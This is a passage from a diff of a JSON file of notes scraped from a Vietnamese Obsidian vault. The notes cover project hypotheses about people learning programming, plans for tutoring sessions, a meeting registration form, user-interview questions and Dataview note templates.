tra:\r\n```dataview\r\nLIST giả-thuyết\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\r\n\r\nThành quả cần có::\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList\r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-16T07:05:00.000Z", - "id": "Nr" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O3" }, { - "Tiêu đề": "Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về tiếp nhận của người đọc bài giới thiệu buổi hướng dẫn cụ thể", + "Tiêu đề": "Các buổi họp xây dựng kế hoạch phát triển", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi họp xây dựng kế hoạch phát triển", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Giả thiết về người đọc\n- Thấy ở đây người tổ chức thực sự quan tâm đến nhu cầu của mình\n\t- Thấy việc được chủ động định giá làm họ thấy công sức lao động của mình được tôn trọng, thấy được trao quyền\n- Thấy việc mình được quyền định giá thấp không có nghĩa là chất lượng kém\n- Nhắm được mức giá phù hợp\n- Không thấy việc phải tự định giá là nhức đầu\n- Hiểu được các buổi học được triển khai thế nào\n- Hiểu mình cần lên lộ trình học và kết quả đầu ra mong muốn\n- Thấy rằng AI hoặc nocode là không đủ và vẫn cần phải học lập trình\n- Dành thời gian đọc hết các bài viết\n\n# Giả thiết về người học\n- Website họ cần cào không phức tạp\n- Lượng tiếp cận cao\n- Số tiền đến từ những người trả tiền cao bù được với số tiền từ người trả tiền thấp\n\n[[Giả thiết về tiếp nhận của người đã đọc bài Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình]]\n[[Nhập sự kiện vào Google Calendar|Cào dữ liệu web vào Google Calendar]]\n[[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Sự tiếp nhận với ý tưởng/Mục tiêu và câu hỏi phỏng vấn]]", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: [[Nhật]], [[Nghi]], [[Thịnh]]\nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\n\nThành quả cần có:: \nThành quả hỗ trợ:: Người tham gia nói nhu cầu của họ\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n\n- [x] Hoàn thiện kế hoạch buổi gặp ✅ 2023-03-08\n- [x] Hoàn thiện phiếu đăng ký ✅ 2023-03-08\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-17T17:23:00.000Z", - "id": "Ns" + "Ngày tạo": "2023-07-21T04:54:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O4" }, { - "Tiêu đề": "Giả thiết về đối tượng cần học cách lập trình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Giả thiết về đối tượng cần học cách lập trình", + "Tiêu đề": "Phiếu đăng ký tham gia buổi lên kế hoạch xây dựng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các buổi họp xây dựng kế hoạch phát triển/Phiếu đăng ký tham gia buổi lên kế hoạch xây dựng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Khảo sát người muốn tham gia nhóm học lập trình]]\n[[Giả thiết về giá trị của Trấn Kỳ]]\n# Lý do muốn học\n- Chủ động hơn trong công việc hiện tại\n- Quản lý được thông tin, dữ liệu, kiến thức của mình\n- Nói chuyện với dev được tốt hơn\n- Có thêm nhiều lựa chọn công việc hơn\n- Không phải tốn tiền thuê những thứ mà mình có thể làm được, hoặc thậm chí tự mình làm sẽ tốt hơn\n\n# Kết quả mong muốn\n- Hiểu được các khái niệm cơ bản để có thể:\n - Đọc các tài liệu trôi chảy\n - Có khả năng tự tìm hiểu trên Google\n - Vượt qua được sự hoang mang khi không biết mình cần phải bắt đầu từ đâu\n - Không còn thấy sợ vì bị ngộp bởi quá nhiều thuật ngữ\n - Không còn thấy việc lập trình giống như làm phép thuật\n- Có được các hiểu biết sâu trong ngành để có thể có những gợi ý tốt hơn trong việc pháp triển cá nhân và sự nghiệp\n\n## Những thứ không đòi hỏi\n- Không cần phải thành thạo quá nhiều về kỹ thuật vì không có ý định làm lập trình viên chuyên nghiệp \n- Không cần trình độ người hướng dẫn cao, chỉ giúp trả lời câu hỏi là được\n\n# Lý do nhu cầu bị kìm nén\n## Trong việc tự nghiên cứu\n- Những bài viết ở trên đầu Google thì nhiều khi là do SEO nên không thực sự đủ sâu, chỉ lớt phớt để bán hàng, bán khoá học\n- Để tìm được bài viết đủ sâu thì cần phải dùng đúng từ khoá để kiếm\n- Những bài viết chuyên sâu thì cũng có thể làm người mới thấy ngộp vì quá nhiều thuật ngữ\n- Những bài vừa chất lượng lại giải thích dễ hiểu cho người mới thì sẽ dài, cần thời gian để đọc. Có khi dài thành cả một cuốn sách. Trong khi đó nhu cầu học kỹ năng đó của ta nhiều khi chỉ là nhu cầu phái sinh trong lúc cần giải quyết một bài toán lớn hơn, hoặc cần giải quyết song song với những bài toán khác. Việc đọc chúng lại phân tán sự tập trung khỏi việc khác\n\n## Trong việc học khoá học\n- Không phải lúc nào cũng có tiền để đi học. Nếu đó là khóa học không online và nơi tổ chức ở xa thì càng khó khăn hơn\n- Việc đi tìm khoá học ưng ý chất chồng lên sự nhức đầu của ta\n- Không phải lúc nào thời gian học cũng phù hợp với lịch của ta. Lúc cần thì không có, lúc có thì không cần\n- Vì phải phục vụ cho nhiều người nên nội dung chỉ có thể mang tính gợi mở, chứ khó mà cá nhân hoá được. Điều đó làm ta thất vọng đôi chút, vì nếu câu hỏi của ta không được giải đáp mà chỉ chuyển từ dạng này sang dạng khác, thì sự nhức đầu của ta cũng không mất đi\n\n\n\n# Người cần tổ chức dữ liệu, xây dựng PKM, ERP, giàn giáo nhận thức cho mình\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\n| ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------ | ------------------------------------- |\n| | Một nguồn tài nguyên tiếng Việt đi đủ sâu, đủ bao quát, cập nhật các nghiên cứu mới và tiện tiếp cận về sự tư duy của con người và đặt nhu cầu của họ lên cao nhất | Các ghi chú trên [[🌟 Mở đầu\\|Obsidian, quản lý dự án và công cụ nghĩ]] đáng tin cậy | [[Lý do viết Trấn Kỳ]], [[🌟 Mở đầu]] |\n\n# Người cần học lập trình\n| Nhu cầu/điểm đau | Điều họ nhận được | Giả thiết | Thành phẩm |\n| --------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n| Các tài liệu căn bản thì không tạo cảm giác đáp ứng được gì cho công việc. Tài liệu hướng dẫn đúng vào công việc thì lại mặc định người đọc đã có căn bản | Sự tự tin hơn trong việc thao tác dữ liệu, và thấy mình có thể gia nhập thế giới phép thuật | Những bài hướng dẫn sử dụng tạo cảm giác dễ hiểu, hấp dẫn, không tạo cảm giác có quá nhiều thuật ngữ khiến họ thấy ngộp | [[Lý do viết Trấn Kỳ]], [Hướng dẫn sử dụng Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8FTr%E1%BA%A5n%20K%E1%BB%B3/H%C6%B0%E1%BB%9Bng%20d%E1%BA%ABn%20s%E1%BB%AD%20d%E1%BB%A5ng%20Tr%E1%BA%A5n%20K%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+K%E1%BA%BF+ho%E1%BA%A1ch+ph%C3%A1t+tri%E1%BB%83n+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3), [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ]], [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] |\n| Những người có kiến thức thì đều chỉ muốn bán khoá học hoặc làm thuê chứ không muốn chỉ họ tận tình | Người trả tiền cho họ để họ học lập trình | Những người làm phát triển sản phẩm hoặc có yêu cầu quản lý tài chính phức tạp thấy việc thuê những người học để thiết lập hệ thống quản trị cho họ là xứng đáng | Mạng kết nối nhu cầu |\n", + "Toàn bộ nội dung": "Vault \"Obsidian và Git cho quản lý dự án\" là một sản phẩm dành riêng cho người Việt với mục tiêu hỗ trợ những ai chưa từng làm quen với Obsidian và Git cũng như kiến thức về phát triển sản phẩm có thể nhanh chóng học những ứng dụng và kiến thức này từng bước một để làm một kho dữ liệu quản lý dự án. Bạn có thể dùng vault này để tự học hoặc như một giáo án để hỗ trợ bạn bè của mình.\r\n\r\nĐể có thể hỗ trợ được nhiều bạn mới trong việc làm quen với Obsidian và Git hơn, mời bạn tham gia vào buổi gặp mặt đầu tiên cho dự án. Buổi gặp mặt này cũng sẽ giúp chúng ta biết thêm về nhau cũng như giúp xây dựng cộng đồng Obsidian ở Việt Nam phát triển hơn. \r\n\r\n- Số lượng: khoảng 5 người, ưu tiên cho những ai muốn tham gia nhận việc\r\n- Thời gian, địa điểm: sẽ được thống nhất sau giữa những người muốn tham gia nhận việc hoặc góp ý tưởng cho việc lên kế hoạch\r\n\r\nTải trước [bộ cài cho vault](https://quacau.space/g3fq) để trải nghiệm.\r\n\r\nLink đăng ký: https://forms.gle/ZvSL7EdQUFRYp5uNA\r\n\r\n\r\n\r\n# Câu hỏi\r\n## Bạn dự định sẽ làm gì trong buổi hôm đó? \r\n \r\n- Nhận việc \r\n- Đóng góp ý tưởng cho việc lên kế hoạch \r\n- Đóng góp nhu cầu người sử dụng \r\n- Quan sát, lắng nghe là chính \r\n \r\nNgoài Obsidian ra bạn còn những nhu cầu nào khác \r\nBạn có muốn những bạn khác biết về những nhu cầu này của bạn không? \r\n \r\nBạn ở tỉnh nào?\r\n\r\n# Sau khi đăng ký xong\r\nCảm ơn bạn đã đăng ký tham gia. Để giới thiệu trước về bản thân bạn, làm quen với những bạn sẽ có mặt trong buổi hôm đó, đặt câu hỏi cũng như cập nhật những thông báo mới nhất, bạn có thể tham gia Discord Quả Cầu, kênh # hỗ-trợ-người-tự-học. Link: https://discord.gg/jWTk4EHFK2\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-26T10:37:00.000Z", - "id": "Nt" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O5" }, { - "Tiêu đề": "Untitled", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/2 Giả thuyết/Untitled", + "Tiêu đề": "100% bài học có thành quả cần có", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các bài học trên vault/100% bài học có thành quả cần có", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Toàn bộ nội dung": "%%#file/thành-quả%%\nPhục vụ cho thành quả:\n```dataview\nList \nFrom #file/thành-quả \nwhere contains(thành-quả-cần-có,[[]]) or contains(thành-quả-hỗ-trợ,[[]]) \n```\nThành quả cần có:: \n\nThành phẩm::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-25T08:03:00.000Z", - "id": "Nu" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O6" }, { - "Tiêu đề": "Mỗi tuần có 450 người học", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/3 Thành quả mong muốn/Mỗi tuần có 450 người học", + "Tiêu đề": "Các bài học trên vault", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các bài học trên vault", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\nPhục vụ cho thành quả:\n```dataview\nLIST\nFrom #file/thành-quả\nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: [[Nhật]]\n\nThành quả cần có:: [[50% người dễ dàng tự sử dụng]]\nThành phẩm nhỏ hơn:: [[100% bài học có thành quả cần có]]\n\nThành phẩm nhỏ hơn:\n```dataview\nList \nFrom \"📐 Dự án hỗ trợ người mới học Obsidian/3 Thành phẩm\" \nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-17T09:50:00.000Z", - "Ngày cập nhật": "2023-11-17T09:50:00.000Z", - "id": "Nv" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O7" }, { - "Tiêu đề": "Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch/Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ", + "Tiêu đề": "Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp/Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Thành quả mong muốn | Giả thiết | Công việc |\n| -------------------------------------------------------------------------- | ------------------------------------------------- | --------------------------------------------------------------------------------------------- |\n| [[Mỗi tuần có 20 người nhắn tin trên thread Trấn Kỳ trên Discord Quả Cầu]] | Cứ 2 người vào thread Trấn Kỳ thì có 1 người nhắn | [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ\\|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]] |\n\n[[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\n[[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý|Tích hợp Trấn Kỳ vào hệ thống cá nhân]]", + "Toàn bộ nội dung": "%%\r\n#file/thành-phẩm\r\n%%\r\n\r\nPhục vụ cho thành quả:\r\n```dataview\r\nLIST\r\nFROM #file/thành-quả \r\nWHERE contains(thành-phẩm,[[]])\r\n```\r\nNgười chơi:: \r\n\r\nThành quả cần có:: 3/5 người nhận phỏng vấn\r\nThành quả hỗ trợ::\r\n\r\nThành phẩm nhỏ hơn:\r\n```dataview\r\nList \r\nFrom #file/thành-phẩm \r\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\r\n```\r\n\r\n# Câu hỏi nghiên cứu\r\n- Họ biết tới Obsidian thế nào?\r\n- Điều gì khiến họ thấy Obsidian là khác biệt?\r\n- Từ lúc biết tới Obsidian đến giờ họ đã gặp những khó khăn gì?\r\n- Họ đang sử dụng Obsidian thế nào?\r\n\t- Họ có dùng Obsidian để quản lý dự án nào không?\r\n- Họ có muốn giúp người khác học Obsidian không? \r\n\r\n- Họ thấy vault hữu dụng thế nào với họ? \r\n\t- Điều gì khiến họ muốn bật vault lên?\r\n\t- Họ mường tượng họ sẽ sử dụng sản phẩm thế nào?\r\n\r\n- Họ gặp khó khăn nào trong việc dùng vault?\r\n\t- Họ có gặp khó khăn nào trong tìm thông tin mình cần không?\r\n\r\n- Họ mong muốn thấy vault sẽ như thế nào?\r\n- Họ nghĩ ai sẽ là người sử dụng vault?\r\n- Họ nghĩ ai sẽ là người sẽ đóng góp cho vault?\r\n- Họ có thấy ai sẽ là người họ muốn giới thiệu vault này đến cho họ không?\r\n- Giả sử như\r\n\r\n- Lúc thấy trên nhóm họ đã thấy thế nào? Vì sao lúc đó họ không nói gì nhiều?\r\n\r\n[[Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-05-26T07:51:00.000Z", - "Ngày cập nhật": "2024-02-14T08:41:00.000Z", - "id": "Nw" + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O8" }, { - "Tiêu đề": "Kế hoạch tổ chức các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch/Kế hoạch", + "Tiêu đề": "Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp/Các buổi phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt về cảm nhận, nhu cầu của họ về vault và lý do chưa đóng góp/Hướng dẫn phỏng vấn người tham gia tích cực trong kênh Obsidian tiếng Việt", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [ ] Kiểm chứng các giả định\n\t- [ ] Hỏi ý kiến mọi người về [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Mô hình kinh doanh]]\n- [ ] [[📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Nghiên cứu người dùng]] \n- [ ] Truyền thông\n\t- [ ] [[Mô hình kinh doanh của các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình|Khi nào thì chiến lược định giá \"trả tuỳ tâm\" đạt được sự bền vững?]]\n\t- [ ] [[Nhập sự kiện vào Google Calendar]]\n\t- [ ] [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]]\n\t- [ ] [[Bản khảo sát nhu cầu học lập trình]]\n- [ ] Tổ chức các buổi hướng dẫn\n\t- [ ] Tìm người có cùng nhu cầu để học cùng\n\n```dataview\nLIST\nFROM \"📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Kế hoạch\" \nWHERE file.name!=this.file.name\n```", + "Toàn bộ nội dung": "Xin chào bạn. Mình là Lý Minh Nhật. Cảm ơn bạn đã nhận lời. Mình muốn mời bạn vào cuộc phỏng vấn này do thấy bạn tham gia tích cực trong kênh Obsidian tiếng Việt. Trước khi bắt đầu thì bạn có câu hỏi nào về cho mình không?\r\n\r\n- Công việc hiện tại của bạn là gì?\r\n- Nhu cầu hiện tại của bạn là gì?\r\n\r\n- Bạn biết tới Obsidian thế nào?\r\n- Điều gì khiến bạn thấy Obsidian là khác biệt?\r\n- Từ lúc biết tới Obsidian đến giờ bạn đã gặp những khó khăn gì?\r\n- Bạn đang sử dụng Obsidian thế nào?\r\n - Họ có dùng Obsidian để quản lý dự án nào không?\r\n- Bạn có muốn giúp người khác học Obsidian không? \r\n\r\n- Bạn thấy vault hữu dụng thế nào với bạn? \r\n\t- Điều gì khiến bạn muốn bật vault lên?\r\n\t- Bạn mường tượng bạn sẽ sử dụng sản phẩm thế nào?\r\n\r\n- Bạn gặp khó khăn nào trong việc dùng vault?\r\n\t- Bạn có gặp khó khăn nào trong tìm thông tin mình cần không?\r\n\r\n- Bạn mong muốn thấy vault sẽ như thế nào?\r\n- Bạn nghĩ ai sẽ là người sử dụng vault?\r\n- Bạn nghĩ ai sẽ là người sẽ đóng góp cho vault?\r\n- Bạn có thấy ai sẽ là người bạn muốn giới thiệu vault này đến cho bạn không?\r\n- Bạn sẽ giới thiệu họ về vault như thế nào?\r\n- Nếu đóng góp vào vault bạn mường tượng mình sẽ làm những gì? \r\n - Vì sao bạn chưa làm điều đó? \r\n\r\n- Lúc thấy trên nhóm bạn đã thấy thế nào? Vì sao lúc đó bạn không nói gì nhiều?\r\n\r\n\r\n\r\n- Bạn cảm thấy Ooker như thế nào?\r\n- Bạn cảm thấy Ooker trong kênh tiếng Việt là thế nào?\r\n- Bạn cảm thấy QC thế nào?\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-11-19T07:44:00.000Z", - "Ngày cập nhật": "2024-07-27T15:36:00.000Z", - "id": "Nx" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "O9" }, { - "Tiêu đề": "Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả", + "Tiêu đề": "Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng/Các nghiên cứu lý giải lý do người dùng rời bỏ, hoặc chưa đóng góp", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Chuyển từ giả định nghiên cứu sang bảng hỏi định lượng thế nào cho hiệu quả?\nChào mọi người. Em hiện đang muốn tìm hiểu về nhu cầu học lập trình ở các cá nhân tham gia vào các dự án khác nhau (nghiên cứu, phi lợi nhuận, doanh nghiệp). Em đã liệt kê các giả định của em về nhu cầu của họ, và đã chuyển nó thành bảng hỏi. Do không có kinh nghiệm nghiên cứu định tính nên em muốn nhờ mọi người đóng góp ý kiến để bảng hỏi đạt chất lượng hơn. Việc có được bảng hỏi tốt sẽ giúp em thiết kế một giải pháp đáp ứng một nhu cầu hiểu biết tin học (computer literacy) của nhiều người mà em thấy khá dai dẳng nhưng chưa thấy có ai đáp ứng tốt.\n\nEm dự tính với những ai thể hiện nhu cầu cao em sẽ mời họ trải nghiệm thử giải pháp em đang thiết kế để vừa đáp ứng nhu cầu của họ vừa hoàn thiện nó hơn.\n\n**Hình 1 và 2 là các giả định của em. Hình 3 và 4 là bảng hỏi dành cho đáp viên.**\n\nEm cảm ơn mọi người đã dành thời gian quan tâm.\n\n[[Bản khảo sát nhu cầu học lập trình]]", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList \nFrom #file/thành-phẩm \nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-02-25T15:49:00.000Z", - "id": "Ny" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2023-10-27T14:28:00.000Z", + "id": "OA" }, { - "Tiêu đề": "Khảo sát người muốn tham gia nhóm học lập trình", - "URL": "https://obsidian.quảcầu.cc/📐 Dự án/Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc/4 Thành phẩm/Nghiên cứu người dùng/Khảo sát người muốn tham gia nhóm học lập trình", + "Tiêu đề": "Các nghiên cứu về người dùng", + "URL": "https://obsidian.quảcầu.cc/📐 Dự án/C Obsidian, quản lý dự án và công cụ nghĩ/3 Thành phẩm/Các nghiên cứu về người dùng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { - "Tên dự án": "Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc", + "Tên dự án": "C Obsidian, quản lý dự án và công cụ nghĩ", "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mở mang hiểu biết tự nó là một điều có ý nghĩa rồi\n\nNếu, vậy thì cũng có rất nhiều thứ khác giúp bạn mở mạng hiểu biết. Vì sao bạn lại chọn lập trình mà không chọn những điều khác?\n\nĐộng lực của bạn\n", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm\n%%\n\nPhục vụ cho thành quả:\n```dataview\nLIST\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nCác giả thuyết cần kiểm tra:\n```dataview\nLIST giả-thuyết\nFROM #file/thành-quả \nWHERE contains(thành-phẩm,[[]])\n```\nNgười chơi:: \nĐối tượng thụ hưởng: `=this.file.inlinks.đối-tượng-thụ-hưởng`\n\nThành quả cần có::\nThành quả hỗ trợ::\n\nThành phẩm nhỏ hơn:\n```dataview\nList\nWhere contains(file.folder,this.file.folder) and file.name!=this.file.name\n```\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-07-28T04:34:00.000Z", + "Ngày tạo": "2023-07-21T04:54:00.000Z", "Ngày cập nhật": "2023-10-27T14:28:00.000Z", - "id": "Nz" + "id": "OB" }, 